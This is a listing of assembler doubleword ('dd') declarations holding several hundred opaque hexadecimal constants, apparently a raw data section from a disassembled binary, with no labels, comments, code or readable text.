dd 0AEB5F337h, 0DDA22D19h, 0F951D538h, 9E247F0Ah, 62983A7h
dd 26E16D06h, 612B2DA9h, 932CEC6Eh, 0B051D72h, 0A2943175h
dd 7AB71EFAh, 12BC45BAh, 1B9C0638h, 6322FE3Bh, 676BDD22h
dd 631E9C23h, 16926FEAh, 0ED4B316Eh, 7F9031F2h, 86C922F5h
dd 3996313Bh, 372A1F3Eh, 70241E9Eh, 0E4780563h, 2B7D6E27h
dd 0B6CE4FF9h, 3B62BDC1h, 7C815EB0h, 5AD8E574h, 0DD673B6Bh
dd 49FD3E2Fh, 720E916Fh, 0B716E67h, 5A7CD472h, 0A6CA8823h
dd 0D02F8F64h, 471B3284h, 0D1363634h, 3C1B62FAh, 9EB1D73Fh
dd 24975D1Ch, 575A20B1h, 1144137Fh, 441C4128h, 8F18591Ah
dd 0B853106h, 0FF20D8Ah, 3A3A01DCh, 14071D05h, 1E242022h
dd 1B8D19BFh, 1D0F1F02h, 79121827h, 0AA165110h, 9A63014h
dd 0DD20FD3h, 0E8190429h, 0ED02F005h, 1DFC110Fh, 217C1D1Eh
dd 0AE242C5Ah, 59A32B66h, 3DA78636h, 3AD92746h, 1743892h
dd 0F9443533h, 6200533Ah, 1C7BC90Fh, 4812F54Bh, 44C3ECCEh
dd 0D6BF4E25h, 0D37C24A3h, 0DEC7AECAh, 34CCCDCEh, 381896A0h
dd 3A383A59h, 1A39153Bh, 1D1B181Ch, 546F7675h, 3F6F155h
dd 21402DE9h, 0E6621BECh, 23473813h, 0ABDF5C93h, 0D3A3B3Ch
dd 382E2D9Eh, 9E4F4D33h, 0FE0A41Dh, 55C7CC21h, 192A28A9h
dd 0C12D17D4h, 32B5B420h, 3F905C30h, 0FF5D55F7h, 529480Eh
dd 61BC92F8h, 6D655656h, 77626366h, 4C5E2747h, 44445844h
dd 5576434Bh, 777118F0h, 39575E74h, 61BC5E2Dh, 40556870h
dd 651F7B53h, 654A5565h, 732F2634h, 4C0B2961h, 58484763h
dd 2B5A7045h, 5D71780Fh, 637B1E39h, 5A4F6D1Dh, 9E3F5D10h
dd 0CB4B6E4Fh, 0AD2C85A0h, 7FF880A7h, 6326B9ABh, 0F73F1002h
dd 5D365435h, 0D72FC63Eh, 0BF3F3FE7h, 0DE2F4244h, 0D325E244h
dd 0CE174C51h, 992C2C87h, 2B2F21ABh, 27301A2Fh, 33240136h
dd 0B03D89A0h, 3B4D07BCh, 50391BAFh, 13721F2Eh, 0F196E323h
dd 4120771Ah, 2F90BB6Ah, 25D02Fh, 94458BA4h, 15FCB436h
dd 9C33258h, 12D73F31h, 0DF1DB6D1h, 72232223h, 980352AEh
dd 0D92FA121h, 605FE77Ch, 9E3AE265h, 44374675h, 6FB23A49h
dd 1B303E32h, 1F111D13h, 232D212Fh, 2729252Bh, 242A26D7h
dd 202E222Ch, 3C323E30h, 38363A34h, 3B35C638h, 3F313D33h
dd 1E121C14h, 222E2010h, 29DA242Ch, 25292727h, 212D232Bh
dd 3D313F2Fh, 0C9353B33h, 3A363838h, 0BA3FDC6Dh, 5DA77654h
dd 0E54B9319h, 4EBB67A2h, 28934CBBh, 0C5E47321h, 0B008CFF0h
dd 0FA16F059h, 0E1D083EEh, 7C8FEC1Eh, 0DA70BDA9h, 81C9C939h
dd 4FA22000h, 99F00093h, 47AF2B09h, 2F0FEDDBh, 0F58959B0h
dd 675CA93Fh, 24F5B1E4h, 2A5CD66Eh, 94169D13h, 65B2AAC8h
dd 56747020h, 0BAA5033h, 0B622D2Dh, 1776B82Ch, 6024642Ch
dd 40323829h, 0B4263F7Eh, 93150C55h, 20C09A1Bh, 0AB777573h
dd 0BB662957h, 2A2AED29h, 32D1617Fh, 36D74331h, 0F632973Dh
dd 3C85AEF7h, 4B1C11F3h, 29046B95h, 0DA172375h, 0AD27D1A3h
dd 2E2C2B8Dh, 0F1B529A5h, 35A9B73Dh, 0C1BB3436h, 6B2E4EC5h
dd 0CF5D73Eh, 0D894E1E0h, 20E722A2h, 2B53D9A0h, 0EF2B7476h
dd 0CF7918A6h, 34EB1E24h, 32AF2DEh, 234E3D39h, 9E2C3A6Dh
dd 9D8A5F1Bh, 5FCA7127h, 2F6FE487h, 0E83E2923h, 0AEE1409h
dd 0CCCD41B5h, 22BDCA14h, 16FAE3BCh, 6D581DFEh, 1C5CBCDBh
dd 1EE124DBh, 0C67A8762h, 0AB727579h, 28BFAEEFh, 31935D8Bh
dd 1271BF62h, 0BF6F3077h, 0BFCCB7FBh, 191C1B48h, 6FAD116Ah
dd 0E122E42Ah, 688C6B6h, 8D4EB2C2h, 210E2E0Bh, 0B90537F5h
dd 2FB33517h, 397E3BB1h, 95E377B3h, 0DC7F2E51h, 7D7DE4AAh
dd 1378892Ah, 274392D6h, 0A0093591h, 5351DA32h, 0B6BABDF5h
dd 3C3F7A95h, 146F2EB1h, 0DE0C3BF4h, 20E65F23h, 31CE312Ah
dd 0EF7A2AEAh, 29C6202Fh, 1131F3B5h, 0DF3A36F0h, 38FB28CEh
dd 0FC3FC978h, 0F8F51718h, 73E723DDh, 0CE2F27E7h, 0B22AEAF1h
dd 3A242FEFh, 36D8B3D3h, 32DD74B0h, 0AB0F20Ch, 21FE0FBBh
dd 131C1E7Eh, 276704CAh, 0E5A100F5h, 1A2A275Bh, 2FCCEAEAh
dd 9630C77Eh, 34343188h, 0BA3CF3B5h, 48FE2F2Dh, 2CF33B54h
dd 28249C79h, 2557E2A4h, 39AC2E65h, 2E3B2CA0h, 2042393Ch
dd 3D623920h, 7345885h, 13320830h, 10360A66h, 179E3A2Ah
dd 24D0C60h, 0C6FCAA76h, 9AF92E19h, 0FA291D1Dh, 1E7630A0h
dd 0C5956E6Fh, 3FEA8D25h, 1E261A1Eh, 0D677973Ch, 0A2394F5Bh
dd 25A5452Bh, 0E6300F81h, 0B2A6FDD4h, 330740Fh, 0B3C30732h
dd 44C1B3ECh, 379D080Bh, 7D0FCB9Eh, 9AB341Bh, 873C07AEh
dd 515A7227h, 0A6307B36h, 3133DBAAh, 754943D2h, 69286567h
dd 8C29C46Dh, 0EF207937h, 90D36211h, 792AF321h, 179F797Eh
dd 22AA6CC0h, 3EAEDB35h, 0A262EBCFh, 0C6A3BB50h, 0BE200FF9h
dd 9A6A4205h, 1D9C0D1Eh, 2620A044h, 8DDC27A3h, 0C428AFABh
dd 0A8CA2FABh, 31B5E832h, 35B6FBE6h, 25385980h, 38202BBAh
dd 0E409883Bh, 0A0BA2CDFh, 0A6DC702Ch, 0C60DAC2Fh, 0C62C257Bh
dd 3230FB60h, 0ED290923h, 0C5693935h, 3A2DEBBDh, 4D501AFFh
dd 207026F6h, 7524D083h, 0FBD032D9h, 279C2322h, 815AAB2Ah
dd 340AB237h, 0B9383536h, 3DA7BF35h, 3C4DB43Dh, 0D0774C19h
dd 71252214h, 1E126367h, 191B6F29h, 1D681Ah, 0C0B3277h
dd 30377306h, 533B5858h, 2C535F4Eh, 1F59181Ch, 146D666Fh
dd 50242509h, 59444028h, 2D2E4B5Fh, 5D41315Dh, 52585459h
dd 49725C5Fh, 177E134Fh, 157D191Bh, 41440069h, 69054540h
dd 44404449h, 612DCC1Ah, 50231063h, 53785463h, 5F4A4B3Fh
dd 161D647Ah, 345C566Bh, 53555C42h, 73826350h, 2898B725h
dd 4A436761h, 35304147h, 0A9157523h, 7D777416h, 5C1E3A1Ah
dd 6F3E171Eh, 201F3034h, 20625E47h, 0E94C40ADh, 4AA1672Ah
dd 0A02B6E77h, 7F704357h, 0D05B2206h, 743C7B0Ah, 1F1FB50Eh
dd 756B2E5Eh, 361171B9h, 7211666h, 0CE197A69h, 69532DF7h
dd 32B3E903h, 0B6FD0671h, 8D097C39h, 783FBC82h, 1FDCB228h
dd 83B8C8E9h, 0A5F5093Ch, 16A90467h, 3E6AA601h, 323230ABh
dd 96363488h, 3ADB92A3h, 4A3C0C7Ah, 1ACC7329h, 0E0F5415Eh
dd 0EEAF2792h, 0D941CF76h, 272D7B28h, 0A032BBF8h, 0B13B31A5h
dd 3AB837B2h, 2249CDBFh, 1ABB3156h, 4A3F1E1Dh, 89044ADEh
dd 894330E5h, 7C2F2A29h, 300AA749h, 0D8B03235h, 0B61650Dh
dd 0B57B6DE2h, 0F3331A61h, 0A081E29h, 7BBCE125h, 777230A4h
dd 0EBC2E7A3h, 0D0D04A0Bh
dd 7D329DD9h, 6F364954h, 1F76B469h, 322AD50Ch, 9EB819EAh
dd 0C1AEAD13h, 1A29C536h, 0D8172DD3h, 0ABA8232Eh, 20264B24h
dd 2B35D73Eh, 3B53D0BCh, 0E2AABCAh, 0A4C1955h, 4901A7Eh
dd 0D8E07283h, 233FAECBh, 3CECFEC2h, 0FC32251Fh, 0EE073342h
dd 0B46B6466h, 0D5D3744Ah, 8DD0BFAh, 0DDBDF636h, 29CB0F60h
dd 0E73A892h, 0A0763F29h, 0AC6F6479h, 2DFA66A1h, 682EF771h
dd 0F042D2FDh, 8DD71224h, 4A1C04DDh, 2166AD86h, 97E3DF22h
dd 0CB817C26h, 5AC4000h, 2B5D71CDh, 3E577149h, 0FB341370h
dd 0B66D317Bh, 970D9C5Dh, 60C92C68h, 266F77DBh, 0A1265CCAh
dd 2D2DACA6h, 3E7FB94Fh, 364581BAh, 0C32DA627h, 0CB45B4Bh
dd 11D319CEh, 212F1F11h, 0C5C1AE3Ah, 0EDCA39AAh, 0AA1C3C5Fh
dd 0A4702F4Eh, 3C8301ACh, 59EE3E46h, 3ED7FA2Fh, 69BB1BDEh
dd 2BCCE9E7h, 0FE2911FEh, 686B3565h, 7772E93Ah, 7B8E8F48h
dd 32D2F32Bh, 781F2579h, 0F0A92A2Ah, 87EB131h, 15FEDC0Ah
dd 67316D2Ah, 0D35B3664h, 6A8BD6C7h, 0CDEF3C3Fh, 13217D3Fh
dd 0E6262674h, 365F3456h, 0D217B962h, 0CF964918h, 0A2763649h
dd 0AC6B026Dh, 0ED4F2C96h, 63ED9D69h, 0C1375AA2h, 0CB78F67Eh
dd 99A875F3h, 0BCFB6276h, 9FDA1E5Eh, 7CFE4FAFh, 252B506Dh
dd 6C85960h, 1D653BBAh, 3037A136h, 0A2786245h, 6E443760h
dd 64406346h, 601B6542h, 5C20623Ch, 24075E02h, 765B0359h
dd 6570C55h, 4C07522Dh, 486C4E18h, 634B361Eh, 61475A45h
dd 673F0E41h, 632C612Dh, 23165D13h, 115A1058h, 13561E54h
dd 5317512Ch, 4F1C4D10h, 893919A0h, 6B4115A4h, 13A14A37h
dd 32861914h, 2D227F59h, 5909BA20h, 0BD31D95Ch, 205DFE07h
dd 207E1CB0h, 0ED712670h, 287F24F5h, 77562CBFh, 109C3A2Dh
dd 3EFB0E02h, 0D1159927h, 189D1B16h, 9A28FB1Dh, 0B14D491Fh
dd 5D652F16h, 2939372Fh, 6E3D3B38h, 0F423273Eh, 0DE141EACh
dd 264B72DEh, 0A8A72425h, 0EF10FFD6h, 5E2A3959h, 330DE7Bh
dd 0D300350Ah, 20AA3A6Eh, 3F0F3E7Ch, 33A8991h, 373B120h
dd 4F757676h, 0D4092B18h, 2F0A2B39h, 0BAB7F3B3h, 7F78BC32h
dd 792FB23Ch, 1F5CD539h, 58CB9513h, 2B31263Ch, 2A0F26BDh
dd 1AE52DD8h, 0E4CD44F3h, 6AC16DDFh, 162C8557h, 3BB23867h
dd 4BC2C4B8h, 4C244D24h, 63B2DEF6h, 271646E2h, 41E632D9h
dd 263C293Bh, 7B730274h, 55367135h, 63BA472Dh, 7DFD544Eh
dd 7A3B1300h, 62FE7274h, 0E4222301h, 51450663h, 5584F5Dh
dd 72242E29h, 555D4734h, 3AD05A57h, 0B868FB3Ch, 79393E34h
dd 0DF57DC1Fh, 2722213Ch, 64656125h, 6E627A08h, 2B620960h
dd 0DB3B1932h, 6332B63Eh, 0D3323DBFh, 5D0CCB20h, 7A3E9D19h
dd 0C0C9271Dh, 2A274766h, 0C22F2A40h, 0EA2F4FE5h, 373F563Eh
dd 34748EDBh, 6B5D1C7Bh, 0D6393E3Fh, 611E1896h, 35231D1Ah
dd 23A7BBCAh, 2B2EA18Ah, 9900BA7h, 71332F86h, 3DC76F18h
dd 0F8BCBA9Dh, 576C6938h, 0EA1A373Eh, 4A1E1EC6h, 44F83909h
dd 0CBA4274Fh, 6C29EB2Ch, 142B6203h, 0FC1E327Dh, 38733535h
dd 0B55D3939h, 1BC71AA1h, 0FDF6911Fh, 2F230060h, 679630DBh
dd 93C22958h, 23EF3404h, 3C3EFF2Ah, 92363A34h, 7A865319h
dd 0D24351Ch, 0F03AC3Bh, 2B232056h, 0D549124Ah, 0C2451E7Dh
dd 152D893Ah, 3294EDC6h, 5FE7DD57h, 2813897h, 0F0B738F9h
dd 756D5D3Bh, 265158B5h, 2023BB27h, 29E4E386h, 25CC7B29h
dd 0F1049F36h, 363733B2h, 5C083FDEh, 613C3BCAh, 603F63B6h
dd 65300DF5h, 0D6302BF2h, 3E4D2F2Ch, 330622DBh, 3A702472h
dd 3E6C386Eh, 1CBB3C6Bh, 6A1ADB09h, 32D76F10h, 212E14DEh
dd 6B4028E1h, 0AC324BE4h, 0C37AE7B8h, 0C4257D24h, 0EB384020h
dd 7759B55Ch, 0B530F93Ah, 35FF598Ch, 426FEE9Ah, 60C9143Bh
dd 26A44689h, 75EFA30Bh, 4A767175h, 0D23CB92Bh, 0F41DF03Ch
dd 3B47383Fh, 58F25A8Ah, 1D131B30h, 21261F11h, 64B1A621h
dd 2A6D2025h, 0D42F6A99h, 9463EABFh, 70DF3073h, 79353835h
dd 3E79E639h, 1F5A0294h, 4B1C5BD2h, 61E22160h, 69BE8C26h
dd 2F6E992Ah, 952C6FEAh, 0C1793174h, 7DA03574h, 7C35193Ah
dd 5E6AB73Eh, 1C5F4C1Fh, 0D216BE14h, 8132010h, 581C4D1Dh
dd 1919091Ah, 4A0B5208h, 0E00FFB0Dh, 7F001801h, 0E504EE06h
dd 5F27FC21h, 4E1D4524h, 92195E1Fh, 0D515D11Bh, 6102417h
dd 0BF0C7B12h, 3D08FD0Eh, 0BF077B09h, 81038105h, 0F823CD00h
dd 0AA8B4690h, 0ACB1647Bh, 0A3CC237Fh, 7A7A72E6h, 35D82344h
dd 0C34BCD8h, 0B234134Ah, 0C2B93BCAh, 0E2903D4Bh, 775FF64Bh
dd 0ADDCDCA8h, 3C2EA61Dh, 2945EA1Ah, 0F2A1A328h, 0F236F24Ah
dd 0FA69AE6Ah, 29237931h, 0FB8087Ch, 0F73E6F5Dh, 39E2A2E7h
dd 0FACE21ECh, 0DBA16168h, 6EE3C57Ah, 0B864A7B0h, 0F6ADDDECh
dd 6A32313Bh, 3CFE80D4h, 974B0F90h, 0ABC930C7h, 20642063h
dd 6A2D698Ch, 57C52824h, 643A38AEh, 32DD3CBAh, 6DB8BC28h
dd 6EF2B727h, 0E0F4144Bh, 2C29EDACh, 26A7CDCAh, 0E9B83E67h
dd 6AEC2A4Bh, 633879A3h, 35DC32BBh, 0C6C4CB94h, 0D5E4B06Dh
dd 0DB07BCh, 0C8E7954Bh, 2622E011h, 0AB76E5CDh, 6AC03AEDh
dd 80C77A7Ah, 0F4653D31h, 29359E3Dh, 0C4B03A31h, 1A3F345Fh
dd 6FB4179Dh, 0E2BE2042h, 26614026h, 7E2B6B72h, 886128AEh
dd 31957532h, 0D337770Dh, 153B786Dh, 981D393Bh, 1F5A0419h
dd 26268512h, 0D1258321h, 0C6298EA9h, 0CF872C8Ch, 95E73088h
dd 3692FF33h, 8F399AF7h, 2D6C3C2Bh, 0C1B907Bh, 20189C97h
dd 0B40C22B3h, 437E26B7h, 58185706h, 19163F3Fh, 55388E22h
dd 56B8F24Ah, 0FE9C6665h, 1ADCC0BBh, 82E0447Dh, 2F5732ACh
dd 2C8719AEh, 0EA54A12Ch, 5056CF29h, 2475BF2Fh, 0B557AD04h
dd 7F07C705h, 11028800h, 7C202722h, 1CFC1Eh, 0C419B81Bh
dd 0AB2B2917h, 172F2D2Dh, 3123230h, 7A5055Eh, 0A2909E8h
dd 0E9C0C6Ch, 2C102DD8h, 10A3124Dh, 15281680h, 1E801B60h
dd 1ACC18E9h, 70804D0h, 180154h, 6B3AFC67h, 0D6B56C69h
dd 519D497Eh, 20C89432h, 45752933h, 3908D76Bh, 0A459EBAFh
dd 0DD316F5Bh, 0F7A022B3h, 782F372Eh, 0D467692Eh, 8033D32h
dd 373D060Ch, 7C30C672h, 3BC5256Fh, 4434CB31h, 61794E22h
dd 2033778Bh, 67673EB5h, 0BC6532B0h, 403B6EB4h, 5F46D99Dh
dd 63E10B25h, 20654123h, 672D6960h, 27A7F972h, 39A23638h
dd 3709F934h, 4193907h, 0BE3E0B3Ch, 0B49D0CF7h, 9639AB49h
dd 27E53C07h, 0A72DF427h, 3E094CA7h, 7233302Eh, 37A5B02Eh
dd 0B130B0DCh, 0B33D4D2Eh, 1E7C3B65h, 2C203F14h, 13F733Eh
dd 497F7676h, 56C4797Ch, 1770E14h, 33BA467Ch, 3FC834F5h
dd 28C359DAh, 1C8ECBF6h, 0D8941AE3h, 9A84354h, 28D7822Fh
dd 462AE97Ah, 70D0792Ch, 1C3705C9h, 0F0863535h, 0C8D3271Eh
dd 3B7FAD3Dh, 8F3E5948h, 31D1C93Eh, 24263E67h, 36E2322Ch
dd 342D6AC4h, 26323030h, 3F02E71h, 2E392279h, 7D5A19A8h
dd 285EDF00h, 0E53520BBh, 20651060h, 0C23633EFh, 35EEABA1h
dd 353141C3h, 47CF3733h, 3A293037h, 6F413438h, 0B1F1B18h
dd 2B206E3Fh, 54002022h, 0AD282C26h, 2D5D1929h, 71332F22h
dd 38243343h, 48763436h, 3E3C353Ah, 1C6A637Ch, 4A1C1E12h
dd 2C332250h, 595F2525h, 2F2B3B29h, 38C3ADADh, 40BAA231h
dd 0D03F2611h, 45B9B66h
dd 1FD73A73h, 1FFEBBF1h, 0AE250564h, 7714256Ah, 330E6DEFh
dd 0C72C292Ch, 0B8CD5C90h, 0F03A1178h, 19363F1Ch, 0BD60FBB3h
dd 40D99F3Dh, 5CAF650Bh, 26BE8481h, 2288782Ah, 0EFFC2D2Bh
dd 3940BF25h, 0B76657F3h, 245AF814h, 0FF747C5Dh, 9A3C9B5Ch
dd 3D045B7Dh, 0CD7A612Bh, 90262763h, 0F9CE81BFh, 22B42E2Eh
dd 1F2C7331h, 75B956F6h, 17D42332h, 546E303Ch, 581DF8BDh
dd 0E4A72FA1h, 0AC4F2951h, 2B8A2Bh, 38082E4Bh, 15333015h
dd 0B1510637h, 1A1F3A75h, 331B6AB4h, 2F1408E3h, 83FA3441h
dd 374C3D29h, 0D4791978h, 2ECE1939h, 77F443F0h, 371E1174h
dd 0B9054C39h, 3F3A8432h, 2D16BC1Ah, 65DADDFh, 25251421h
dd 88AAA05h, 8EA923D3h, 1B4994BEh, 94843702h, 5910A7C7h
dd 3E6C6C13h, 0BD0CE34Bh, 2C306267h, 156036DDh, 0E1B1A24h
dd 582E2BEAh, 91B6A44Ch, 0E5369235h, 6E101362h, 8FE94C9Ah
dd 0B21A3E36h, 0E21CAB51h, 1A209356h, 45268370h, 890C2B88h
dd 318E982Ch, 35935B28h, 35D5E68Dh, 0F729891Ch, 82E5D432h
dd 5CC112DAh, 0F22DE221h, 28E724A1h, 2AAFEA9Eh, 8A9B22EEh
dd 943DF331h, 0F5733491h, 3A9AA037h, 0FED60D84h, 0F81FB914h
dd 6FAC2FC3h, 52574157h, 443F4146h, 346818EAh, 7321F15Ch
dd 4435555Dh, 66405054h, 0BE495968h, 7A72724Bh, 64301F6Dh
dd 22AD283Ah, 0AF2E3F26h, 48406E79h, 43442F4Dh, 565D5D5Dh
dd 4B387616h, 7860484Eh, 1C5C1F7Fh, 735A535Ch, 21643220h
dd 1BCF2E35h, 3C2A853Bh, 202B0570h, 76F3DA36h, 5727379Dh
dd 3D393A27h, 0F3773832h, 101FBA39h, 2C213C09h, 44CE0121h
dd 37724A2Ah, 0C72A222Fh, 329BF014h, 0B42D8B3Bh, 31D23A3Fh
dd 79163F9Ah, 0F61F1B9Fh, 3D362000h, 0E6253F23h, 0F1E258FCh
dd 0A649C0A8h, 7367657Ch, 0F9DD18F0h, 3A380ED7h, 7AFA283Ah
dd 191C671Bh, 0E29EF73Ah, 0E5E26723h, 7FC02627h, 0EE2D8B9Ah
dd 0A0302CB9h, 2034531Bh, 53145D66h, 34A5B96Ah, 4909A93Eh
dd 115106Bh, 0CDFB432Eh, 4886A9BCh, 0ED1BA9F1h, 50ACC705h
dd 9327036h, 7D4F74DCh, 56D26C38h, 9A3E7C42h, 3F9ADC48h
dd 22A77D89h, 6927A596h, 0CB2BAC3Dh, 0AA6E2CACh, 33333F31h
dd 5DF379Ch, 9A06389Dh, 3E9B193Dh, 1E1852EBh, 2623251Ch
dd 59107A26h, 186B2C26h, 1C592F7Fh, 3019DFh, 21673701h
dd 995C3A9Ah, 9C1A3E9Bh, 1D323C3Dh, 437B142Ah, 2C5C162Ah
dd 72082453h, 172F2E2Bh, 5E7C0F14h, 65175A55h, 4A3E152Ch
dd 6BC6618h, 189D3F3Fh, 0F1171Eh, 62ECA76h, 0D82D13C5h
dd 0CC507BA9h, 0CFAA2240h, 0B7363245h, 564237CAh, 625BB76Ah
dd 2AD76D11h, 153E263Ch, 0A4616038h, 1768AE21h, 0A2EF29A1h
dd 5A1E53ACh, 774BA0Eh, 363974h, 6C026FB3h, 1CBB4E83h
dd 9270B097h, 23275C3Ch, 0D04907A0h, 760AAB27h, 0A12DD9D4h
dd 4D7F4F0Ch, 0B046837Dh, 85774714h, 1D12C348h, 53626880h
dd 212F05E1h, 252B232Dh, 22992729h, 909D42Ah, 3141273Eh
dd 1D7C033Eh, 6B3012C9h, 468A3AABh, 2BDA3F7Eh, 501F6F9Bh
dd 2452B322h, 0B42FA648h, 0F3B2A58h, 0F02F5F8Ah, 45E88006h
dd 8515B635h, 149B3A48h, 1B3F4FF5h, 6ECDAB3Fh, 0F80B0120h
dd 7562555h, 462A58CBh, 5EC002FCh, 0C552E130h, 57E63545h
dd 3B12D16Dh, 207F6417h, 359CC491h, 228579DDh, 0E5C5AE4Fh
dd 2929AFCEh, 22AC39EBh, 94B433CEh, 3595B130h, 51D2F805h
dd 2237055Bh, 7D3C3A3Fh, 99723B1Eh, 26243323h, 2029ECA5h
dd 0D2E4132h, 1574A678h, 15345316h, 5528A835h, 6B387A31h
dd 0A9CED76Eh, 70178B9Ch, 0FB32E18h, 281323C4h, 2725F542h
dd 342B2B22h, 3763FEF3h, 574F16CAh, 2AA4E137h, 6B4528A6h
dd 0E7088570h, 35BD7E90h, 97262D57h, 1AEEC12Bh, 0D0FCEF2Fh
dd 0B3FBBA31h, 61637530h, 3B3EB46Fh, 475B0BCh, 75D83096h
dd 0CA162116h, 0AD80242Bh, 2AE0ABDFh, 0DCED1FD4h, 19E0C781h
dd 0F7BECD33h, 0C7B2CFBCh, 3CD43CFAh, 0D597BECCh, 2220FE9Dh
dd 0AE4287D1h, 29797F6Dh, 0F1003ED5h, 0CE152E2Ch, 1A3F49C4h
dd 3B383429h, 3048BF29h, 1BA23C2Eh, 217EE1E2h, 0AD27C921h
dd 40330279h, 3ED91D89h, 33994C3Dh, 0E43A028Fh, 38F13F07h
dd 3F3BA9BFh, 9339D53Ch, 1F6E838Eh, 2157BD48h, 26D0B8CCh
dd 2ADEBD4Eh, 2B462D5Ch, 4631D386h, 653EA0F5h, 399AB737h
dd 61FE0E94h, 8B15139Bh, 2C0E232h, 36F48F89h, 482B8217h
dd 0E210D38h, 30988F05h, 363A157Ch, 3A363838h, 0B3452FBBh
dd 4E109B2Ch, 0AA77494Bh, 0FE4F22FBh, 3A98AD77h, 1D374BBFh
dd 0A38B96Eh, 753247F1h, 693AF7B5h, 0F2783ED1h, 63593EF0h
dd 0EF94484Eh, 613333C9h, 0E9D3C66Dh, 0C2C3E596h, 64C610ADh
dd 0FD7A377Dh, 936CBEF1h, 0E8B034F9h, 0D2770230h, 0CAD75C3Eh
dd 478001A0h, 35C1E582h, 28D94D8Bh, 4C6DAF6Bh, 0A3A000A1h
dd 0B5288405h, 285C6156h, 0D699D56Ah, 4C060EFCh, 6B005312h
dd 17B015BCh, 28C17B10h, 0A52E6F5Bh, 64CEB5D7h, 0DE3BAC47h
dd 0C839DC56h, 0EE6ED438h, 1B186A3Fh, 19F1A6Bh, 652157B2h
dd 59173781h, 7C4F7A7Bh, 37EA22Ah, 0F571A353h, 21182B66h
dd 1B3875B7h, 0BC5D19ACh, 2D008C2Dh, 3786E249h, 0B737A828h
dd 8D292A3Eh, 332F1226h, 763EDA15h, 5B226189h, 2ED3019Ah
dd 14985CC0h, 251FFE0Fh, 0C1ABCCC8h, 0C436E225h, 2B707964h
dd 474D4C6Fh, 7D1C6D55h, 7F627078h, 3B383D29h, 7A37CE2Ch
dd 6F6D5115h, 27AE2FFAh, 6464737Fh, 1E291926h, 4C4C7B77h
dd 5B27760Fh, 2EA7FC73h, 6D3AEB3Ch, 5A3D5252h, 3D6F6C50h
dd 914F6D4Eh, 51475646h, 0B28A776h, 2F438A4Ch, 65726F0Fh
dd 0B5521516h, 2FC71D36h, 7C44DBEFh, 419B5928h, 2CE04F07h
dd 23E3B634h, 423F1645h, 7A697839h, 0CF072C6Dh, 41310624h
dd 22432ACAh, 91BA8938h, 97D7513Dh, 5E1CB8DDh, 0A8074105h
dd 372634F9h, 2C074B5Dh, 222E0323h, 75283431h, 445F5B5Dh
dd 5F225C50h, 15BE5C1Ch, 7F3D021Ah, 47552879h, 4B15A551h
dd 2A5C464Eh, 5D05495Fh, 545E1006h, 0B3B41431h, 5D575159h
dd 31233C15h, 4D9E0639h, 0B9A3BB9Eh, 2750CBA9h, 0A021A57Ch
dd 83DE3A59h, 1AE12FD9h, 0BEE5B8CBh, 0C4D2BCC1h, 0FE9972FBh
dd 8DA9B77h, 279B16DDh, 2C23D5ABh, 0A324A4D8h, 25A165E3h
dd 0B5266DBDh, 0E251B3F1h, 0A442B2FCh, 6F373352h, 4E2A6F20h
dd 4A1D6811h, 2232215Bh, 0A18E25A1h, 2B283529h, 212FB92Fh
dd 30323220h, 33383496h, 8B783A38h, 3F3B333Dh, 101CA218h
dd 21212819h, 212B25EFh, 0BF32B27h, 2E25222Ah, 3C30D82Ch
dd 3531343Ah, 303739C1h, 9D393F3Bh, 161B1B1Eh, 222091DFh
dd 0D9AE35CBh, 190D826h, 2C2C68D8h, 0EDAF4FC7h, 26F8CCCDh
dd 81A63336h, 0FB43E6Bh, 821C92D7h, 0E68117BFh, 0BA23AB0Bh
dd 67682455h, 61A6653Eh, 5EC6EA6Dh, 35CCCEB7h, 3AA65032h
dd 62D2E63Eh, 0A387393Dh, 1D3F1F13h, 27087122h, 21502727h
dd 292F752Ah, 3D7B2C2Ch, 3126A832h, 0E8321A61h, 6DBC1AB9h
dd 3E2FFD17h, 1C122819h, 562322A1h, 352720B6h, 28B42A28h
dd 2D260429h, 0A2809B2Dh, 34493C7Fh, 365DD835h, 663F38EAh
dd 1D031B20h, 212F1F11h, 252B232Dh, 29272729h, 222C24D5h
dd 3E30202Eh, 3A343C32h, 36383836h, 3D33C43Ah, 1C143F31h
dd 20101E12h, 242C222Eh
dd 27D8262Ah, 232B2529h, 3F2F212Dh, 3B333D31h, 0C7373935h
dd 3C343A36h, 0DDB43FFDh, 158EDE42h, 0A33A2C20h, 2636C9A5h
dd 29A32B28h, 2F4639B1h, 0B030A930h, 2C8FDD58h, 0B668B919h
dd 3F261978h, 1EC7E04Eh, 0E6A2211Dh, 271A92Fh, 0A7282827h
dd 1D3D0867h, 0BB6330EFh, 0F131107Fh, 32311C73h, 313D333Bh
dd 1D13043Fh, 212F1F11h, 252E232Dh, 2940D84Ch, 2D6F9022h
dd 31914B2Fh, 51643732h, 3D3812BFh, 0B66A3B6Bh, 386FB6CFh
dd 0A015F619h, 0C44FFA30h, 289FCC90h, 3D65A728h, 240B6AEAh
dd 0F3373231h, 7BD66A33h, 3CBF5EBBh, 745D5B4Fh, 971C3C73h
dd 0C14B514Bh, 4C222566h, 4F5A0D9Dh, 3C010D02h, 2748E031h
dd 17021835h, 5F38BB68h, 65FC3DACh, 2C152E13h, 2921002Eh
dd 10171621h, 0FA295A18h, 482CDD2Ch, 0E5B0611Fh, 361D1464h
dd 0CD692C07h, 8FFFBDC2h, 1F9F492Bh, 0F2DF1F2Ah, 0C2E5DBA9h
dd 0FAF8D836h, 7D7BD321h, 3F61BB20h, 711C4FC1h, 3D680F12h
dd 513FFB62h, 60AB3487h, 0B02B531Dh, 70AA5A3Fh, 98570401h
dd 89D85E28h, 5A43092Dh, 0DC621281h, 0B99CAE34h, 483A1839h
dd 3D133F18h, 1E3B091Dh, 644F194h, 27B78D25h, 0D462809h
dd 0A16FF2Dh, 1657E931h, 37A79935h, 0B36C3819h, 3F7F3C1Eh
dd 321C394Fh, 81352139h, 9D052462h, 0AA4DCCA7h, 2E6CCC2Bh
dd 3270E099h, 0D25B34D7h, 3ADD4137h, 3ED969BCh, 801CFFADh
dd 0C5881FFAh, 0C1719522h, 29CCE626h, 0F72CCFE6h, 0A4D52FCAh
dd 0D1C433D6h, 39DCC936h, 3DDF9433h, 1CFF2B04h, 21FFE02h
dd 443642FFh, 1FE29537h, 0B42E28A9h, 2B0F2A0Ch, 3B333D6Eh
dd 0B9373535h, 777F7A7Ah, 976F7A7Ch, 55AE2DA4h, 22CA6572h
dd 3F766547h, 0CAEA417Eh, 0AAA56E3Dh, 2B6092F0h, 2F43A324h
dd 7CA6387Dh, 0BB7A323Dh, 955E2C65h, 2301802Ah, 5495664Bh
dd 89FFD765h, 8F2CBC37h, 0B4BB1C2Eh, 0B6454433h, 743DDC18h
